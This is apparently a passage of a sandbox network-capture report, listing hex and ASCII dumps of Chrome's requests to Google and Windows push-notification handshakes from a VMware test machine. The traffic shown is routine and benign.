2024-12-23 05:54:00 UTC	1390	IN	Data Raw: 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 77 64 20 67 62 5f 72 64 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 4a 63 20 67 62 5f 51 5c 22 20 61 72 69 61 2d 65 78 70 61 6e 64 65 64 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 61 72 69 61 2d 6c 61 62 65 6c 5c 75 30 30 33 64 5c 22 4d 61 69 6e 20 6d 65 6e 75 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 75 74 74 6f 6e 5c 22 20 74 61 62 69 6e 64 65 78 5c 75 30 30 33 64 5c 22 30 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 73 76 67 20 66 6f 63 75 73 61 62 6c 65 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 76 69 65 77 62 6f 78 5c 75 30 30 33 64 5c 22 30 20 30 20 32 34 20 32 34 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 70 61 74 68 20 64 5c 75 30 Data Ascii: class\u003d\"gb_wd gb_rd\"\u003e\u003cdiv class\u003d\"gb_Jc gb_Q\" aria-expanded\u003d\"false\" aria-label\u003d\"Main menu\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u0
2024-12-23 05:54:00 UTC	1390	IN	Data Raw: 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 77 64 20 67 62 5f 38 63 20 67 62 5f 39 63 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 73 70 61 6e 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 75 64 5c 22 20 61 72 69 61 2d 6c 65 76 65 6c 5c 75 30 30 33 64 5c 22 31 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 68 65 61 64 69 6e 67 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 5c 2f 73 70 61 6e 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 61 64 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 Data Ascii: 003cdiv class\u003d\"gb_wd gb_8c gb_9c\"\u003e\u003cspan class\u003d\"gb_ud\" aria-level\u003d\"1\" role\u003d\"heading\"\u003e \u003c\/span\u003e\u003cdiv class\u003d\"gb_ad\"\u003e \u003c\/div\u003e\u003c\/div\u003e\u003c\/div\u003e\u003cdiv class\u003d
2024-12-23 05:54:00 UTC	1390	IN	Data Raw: 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 44 5c 22 20 66 6f 63 75 73 61 62 6c 65 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 68 65 69 67 68 74 5c 75 30 30 33 64 5c 22 32 34 70 78 5c 22 20 76 69 65 77 42 6f 78 5c 75 30 30 33 64 5c 22 30 20 2d 39 36 30 20 39 36 30 20 39 36 30 5c 22 20 77 69 64 74 68 5c 75 30 30 33 64 5c 22 32 34 70 78 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 70 61 74 68 20 64 5c 75 30 30 33 64 5c 22 4d 32 30 39 2d 31 32 30 71 2d 34 32 20 30 2d 37 30 2e 35 2d 32 38 2e 35 54 31 31 30 2d 32 31 37 71 30 2d 31 34 20 33 2d 32 35 2e 35 74 39 2d 32 31 2e 35 6c 32 32 38 2d 33 34 31 71 31 30 2d 31 34 20 31 35 2d 33 31 74 35 2d 33 34 76 2d 31 31 30 68 2d 32 30 71 2d 31 33 20 30 2d 32 31 2e 35 2d 38 2e 35 54 33 32 30 2d 38 31 30 71 30 2d 31 33 20 Data Ascii: ss\u003d\"gb_D\" focusable\u003d\"false\" height\u003d\"24px\" viewBox\u003d\"0 -960 960 960\" width\u003d\"24px\"\u003e \u003cpath d\u003d\"M209-120q-42 0-70.5-28.5T110-217q0-14 3-25.5t9-21.5l228-341q10-14 15-31t5-34v-110h-20q-13 0-21.5-8.5T320-810q0-13
2024-12-23 05:54:00 UTC	1390	IN	Data Raw: 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 36 2c 36 63 30 2c 31 2e 31 20 30 2e 39 2c 32 20 32 2c 32 73 32 2c 2d 30 2e 39 20 32 2c 2d 32 20 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 7a 4d 31 32 2c 38 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 38 2c 31 34 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 38 2c 32 30 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c Data Ascii: 1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM16,6c0,1.1 0.9,2 2,2s2,-0.9 2,-2 -0.9,-2 -2,-2 -2,0.9 -2,2zM12,8c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM18,14c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM18,20c1.1,0 2,-0.9 2,
2024-12-23 05:54:00 UTC	258	IN	Data Raw: 65 6e 75 2d 63 6f 6e 74 65 6e 74 22 2c 22 6d 65 74 61 64 61 74 61 22 3a 7b 22 62 61 72 5f 68 65 69 67 68 74 22 3a 36 30 2c 22 65 78 70 65 72 69 6d 65 6e 74 5f 69 64 22 3a 5b 33 37 30 30 32 36 37 2c 33 37 30 30 39 34 32 2c 33 37 30 31 33 38 34 2c 31 30 32 32 37 38 32 30 35 5d 2c 22 69 73 5f 62 61 63 6b 75 70 5f 62 61 72 22 3a 66 61 6c 73 65 7d 2c 22 70 61 67 65 5f 68 6f 6f 6b 73 22 3a 7b 22 61 66 74 65 72 5f 62 61 72 5f 73 63 72 69 70 74 22 3a 7b 22 70 72 69 76 61 74 65 5f 64 6f 5f 6e 6f 74 5f 61 63 63 65 73 73 5f 6f 72 5f 65 6c 73 65 5f 73 61 66 65 5f 73 63 72 69 70 74 5f 77 72 61 70 70 65 64 5f 76 61 6c 75 65 22 3a 22 74 68 69 73 2e 67 62 61 72 5f 5c 75 30 30 33 64 74 68 69 73 2e 67 62 61 72 5f 7c 7c 7b 7d 3b 28 66 75 6e 63 74 69 6f 6e 28 5f 29 7b 76 61 Data Ascii: enu-content","metadata":{"bar_height":60,"experiment_id":[3700267,3700942,3701384,102278205],"is_backup_bar":false},"page_hooks":{"after_bar_script":{"private_do_not_access_or_else_safe_script_wrapped_value":"this.gbar_\u003dthis.gbar_\|\|{};(function(_){va
2024-12-23 05:54:00 UTC	228	IN	Data Raw: 64 65 0d 0a 20 77 69 6e 64 6f 77 5c 75 30 30 33 64 74 68 69 73 3b 5c 6e 74 72 79 7b 5c 6e 5f 2e 78 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 29 7b 69 66 28 21 61 2e 6a 29 69 66 28 63 20 69 6e 73 74 61 6e 63 65 6f 66 20 41 72 72 61 79 29 66 6f 72 28 76 61 72 20 64 20 6f 66 20 63 29 5f 2e 78 64 28 61 2c 62 2c 64 29 3b 65 6c 73 65 7b 64 5c 75 30 30 33 64 28 30 2c 5f 2e 7a 29 28 61 2e 43 2c 61 2c 62 29 3b 63 6f 6e 73 74 20 65 5c 75 30 30 33 64 61 2e 76 2b 63 3b 61 2e 76 2b 2b 3b 62 2e 64 61 74 61 73 65 74 2e 65 71 69 64 5c 75 30 30 33 64 65 3b 61 2e 42 5b 65 5d 5c 75 30 30 33 64 64 3b 62 5c 75 30 30 32 36 5c 75 30 30 32 36 62 2e 61 64 64 45 76 65 6e 74 0d 0a Data Ascii: de window\u003dthis;\ntry{\n_.xd\u003dfunction(a,b,c){if(!a.j)if(c instanceof Array)for(var d of c)_.xd(a,b,d);else{d\u003d(0,_.z)(a.C,a,b);const e\u003da.v+c;a.v++;b.dataset.eqid\u003de;a.B[e]\u003dd;b\u0026\u0026b.addEvent
2024-12-23 05:54:00 UTC	1390	IN	Data Raw: 38 30 30 30 0d 0a 4c 69 73 74 65 6e 65 72 3f 62 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 63 2c 64 2c 21 31 29 3a 62 5c 75 30 30 32 36 5c 75 30 30 32 36 62 2e 61 74 74 61 63 68 45 76 65 6e 74 3f 62 2e 61 74 74 61 63 68 45 76 65 6e 74 28 5c 22 6f 6e 5c 22 2b 63 2c 64 29 3a 61 2e 6f 2e 6c 6f 67 28 45 72 72 6f 72 28 5c 22 42 60 5c 22 2b 62 29 29 7d 7d 3b 5c 6e 7d 63 61 74 63 68 28 65 29 7b 5f 2e 5f 44 75 6d 70 45 78 63 65 70 74 69 6f 6e 28 65 29 7d 5c 6e 74 72 79 7b 5c 6e 76 61 72 20 79 64 5c 75 30 30 33 64 64 6f 63 75 6d 65 6e 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 28 5c 22 2e 67 62 5f 49 20 2e 67 62 5f 41 5c 22 29 2c 7a 64 5c 75 30 30 33 64 64 6f 63 75 6d 65 6e 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 28 5c 22 23 67 62 2e 67 62 5f 52 Data Ascii: 8000Listener?b.addEventListener(c,d,!1):b\u0026\u0026b.attachEvent?b.attachEvent(\"on\"+c,d):a.o.log(Error(\"B`\"+b))}};\n}catch(e){_._DumpException(e)}\ntry{\nvar yd\u003ddocument.querySelector(\".gb_I .gb_A\"),zd\u003ddocument.querySelector(\"#gb.gb_R
2024-12-23 05:54:00 UTC	1390	IN	Data Raw: 29 2c 6e 65 77 20 5f 2e 46 64 28 61 5c 75 30 30 33 64 5c 75 30 30 33 65 2f 5e 5b 5e 3a 5d 2a 28 5b 2f 3f 23 5d 7c 24 29 2f 2e 74 65 73 74 28 61 29 29 5d 3b 5f 2e 4c 64 5c 75 30 30 33 64 63 6c 61 73 73 7b 63 6f 6e 73 74 72 75 63 74 6f 72 28 61 29 7b 74 68 69 73 2e 69 5c 75 30 30 33 64 61 7d 74 6f 53 74 72 69 6e 67 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 69 2b 5c 22 5c 22 7d 7d 3b 5f 2e 4d 64 5c 75 30 30 33 64 6e 65 77 20 5f 2e 4c 64 28 5f 2e 48 64 3f 5f 2e 48 64 2e 65 6d 70 74 79 48 54 4d 4c 3a 5c 22 5c 22 29 3b 5c 6e 7d 63 61 74 63 68 28 65 29 7b 5f 2e 5f 44 75 6d 70 45 78 63 65 70 74 69 6f 6e 28 65 29 7d 5c 6e 74 72 79 7b 5c 6e 76 61 72 20 51 64 2c 64 65 2c 50 64 2c 52 64 2c 57 64 3b 5f 2e 4e 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b Data Ascii: ),new _.Fd(a\u003d\u003e/^[^:]*([/?#]\|$)/.test(a))];_.Ld\u003dclass{constructor(a){this.i\u003da}toString(){return this.i+\"\"}};_.Md\u003dnew _.Ld(_.Hd?_.Hd.emptyHTML:\"\");\n}catch(e){_._DumpException(e)}\ntry{\nvar Qd,de,Pd,Rd,Wd;_.Nd\u003dfunction(a){
2024-12-23 05:54:00 UTC	1390	IN	Data Raw: 5f 2e 4d 61 28 61 29 3b 72 65 74 75 72 6e 20 62 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 61 72 72 61 79 5c 22 7c 7c 62 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 6f 62 6a 65 63 74 5c 22 5c 75 30 30 32 36 5c 75 30 30 32 36 74 79 70 65 6f 66 20 61 2e 6c 65 6e 67 74 68 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 6e 75 6d 62 65 72 5c 22 7d 3b 5f 2e 61 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 29 7b 72 65 74 75 72 6e 20 5f 2e 73 62 28 61 2c 62 2c 63 2c 21 31 29 21 5c 75 30 30 33 64 5c 75 30 30 33 64 76 6f 69 64 20 30 7d 3b 5f 2e 62 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 72 65 74 75 72 6e 20 5f 2e 4f 64 28 5f 2e 45 63 28 61 2c 62 29 29 7d 3b 5f 2e 53 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 72 65 74 Data Ascii: _.Ma(a);return b\u003d\u003d\"array\"\|\|b\u003d\u003d\"object\"\u0026\u0026typeof a.length\u003d\u003d\"number\"};_.ae\u003dfunction(a,b,c){return _.sb(a,b,c,!1)!\u003d\u003dvoid 0};_.be\u003dfunction(a,b){return _.Od(_.Ec(a,b))};_.S\u003dfunction(a,b){ret

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.6	49818	172.217.21.36	443	1764	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-23 05:53:59 UTC	353	OUT	GET /async/newtab_promos HTTP/1.1 Host: www.google.com Connection: keep-alive Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-23 05:54:00 UTC	933	IN	HTTP/1.1 200 OK Version: 705503573 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Date: Mon, 23 Dec 2024 05:54:00 GMT Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-12-23 05:54:00 UTC	35	IN	Data Raw: 31 64 0d 0a 29 5d 7d 27 0a 7b 22 75 70 64 61 74 65 22 3a 7b 22 70 72 6f 6d 6f 73 22 3a 7b 7d 7d 7d 0d 0a Data Ascii: 1d)]}'{"update":{"promos":{}}}
2024-12-23 05:54:00 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
20	192.168.2.6	49825	20.198.119.84	443

Timestamp	Bytes transferred	Direction	Data
2024-12-23 05:54:01 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 76 4c 34 53 57 4f 66 34 79 6b 79 4b 41 47 68 31 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 31 33 34 32 32 62 62 63 38 31 37 31 63 61 38 63 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: vL4SWOf4ykyKAGh1.1Context: 13422bbc8171ca8c
2024-12-23 05:54:01 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-12-23 05:54:01 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 76 4c 34 53 57 4f 66 34 79 6b 79 4b 41 47 68 31 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 31 33 34 32 32 62 62 63 38 31 37 31 63 61 38 63 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 64 2f 30 49 58 52 39 79 54 67 75 62 4f 6d 62 44 50 58 58 76 32 58 39 56 6a 45 34 71 64 6d 78 4e 59 46 39 31 78 64 71 42 2b 43 57 56 38 73 59 74 6b 2b 6b 5a 58 56 4f 6a 75 4a 2b 32 54 5a 41 36 65 59 68 38 46 55 68 38 32 37 50 61 54 79 43 77 68 47 31 62 2f 2f 53 65 76 70 6a 31 61 34 4b 77 2f 2f 32 59 35 54 6d 46 6e 41 35 54 53 Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: vL4SWOf4ykyKAGh1.2Context: 13422bbc8171ca8c<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAd/0IXR9yTgubOmbDPXXv2X9VjE4qdmxNYF91xdqB+CWV8sYtk+kZXVOjuJ+2TZA6eYh8FUh827PaTyCwhG1b//Sevpj1a4Kw//2Y5TmFnA5TS
2024-12-23 05:54:01 UTC	74	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 51 4f 53 20 35 36 0d 0a 4d 53 2d 43 56 3a 20 76 4c 34 53 57 4f 66 34 79 6b 79 4b 41 47 68 31 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 31 33 34 32 32 62 62 63 38 31 37 31 63 61 38 63 0d 0a 0d 0a Data Ascii: BND 3 CON\QOS 56MS-CV: vL4SWOf4ykyKAGh1.3Context: 13422bbc8171ca8c
2024-12-23 05:54:01 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-12-23 05:54:01 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 72 41 78 75 49 55 34 64 7a 6b 4f 4d 36 69 70 31 75 6d 6d 31 33 67 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: rAxuIU4dzkOM6ip1umm13g.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port
21	192.168.2.6	49879	20.198.119.84	443

Timestamp	Bytes transferred	Direction	Data
2024-12-23 05:54:17 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 33 66 36 57 74 5a 53 44 45 30 47 66 47 53 68 49 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 39 38 61 61 36 61 39 31 35 33 65 62 31 34 34 37 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: 3f6WtZSDE0GfGShI.1Context: 98aa6a9153eb1447
2024-12-23 05:54:17 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-12-23 05:54:17 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 33 66 36 57 74 5a 53 44 45 30 47 66 47 53 68 49 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 39 38 61 61 36 61 39 31 35 33 65 62 31 34 34 37 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 64 2f 30 49 58 52 39 79 54 67 75 62 4f 6d 62 44 50 58 58 76 32 58 39 56 6a 45 34 71 64 6d 78 4e 59 46 39 31 78 64 71 42 2b 43 57 56 38 73 59 74 6b 2b 6b 5a 58 56 4f 6a 75 4a 2b 32 54 5a 41 36 65 59 68 38 46 55 68 38 32 37 50 61 54 79 43 77 68 47 31 62 2f 2f 53 65 76 70 6a 31 61 34 4b 77 2f 2f 32 59 35 54 6d 46 6e 41 35 54 53 Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: 3f6WtZSDE0GfGShI.2Context: 98aa6a9153eb1447<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAd/0IXR9yTgubOmbDPXXv2X9VjE4qdmxNYF91xdqB+CWV8sYtk+kZXVOjuJ+2TZA6eYh8FUh827PaTyCwhG1b//Sevpj1a4Kw//2Y5TmFnA5TS
2024-12-23 05:54:17 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 33 66 36 57 74 5a 53 44 45 30 47 66 47 53 68 49 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 39 38 61 61 36 61 39 31 35 33 65 62 31 34 34 37 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: 3f6WtZSDE0GfGShI.3Context: 98aa6a9153eb1447<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-12-23 05:54:17 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-12-23 05:54:17 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 67 59 31 2b 4e 41 73 38 4f 30 57 64 43 5a 6d 36 63 75 33 70 4c 51 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: gY1+NAs8O0WdCZm6cu3pLQ.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port
22	192.168.2.6	49909	20.198.119.84	443

Timestamp	Bytes transferred	Direction	Data
2024-12-23 05:54:28 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 50 62 32 6a 78 66 59 2b 31 45 36 66 53 51 4a 6c 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 36 39 35 33 33 35 36 31 33 65 35 32 34 63 30 66 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: Pb2jxfY+1E6fSQJl.1Context: 695335613e524c0f
2024-12-23 05:54:28 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
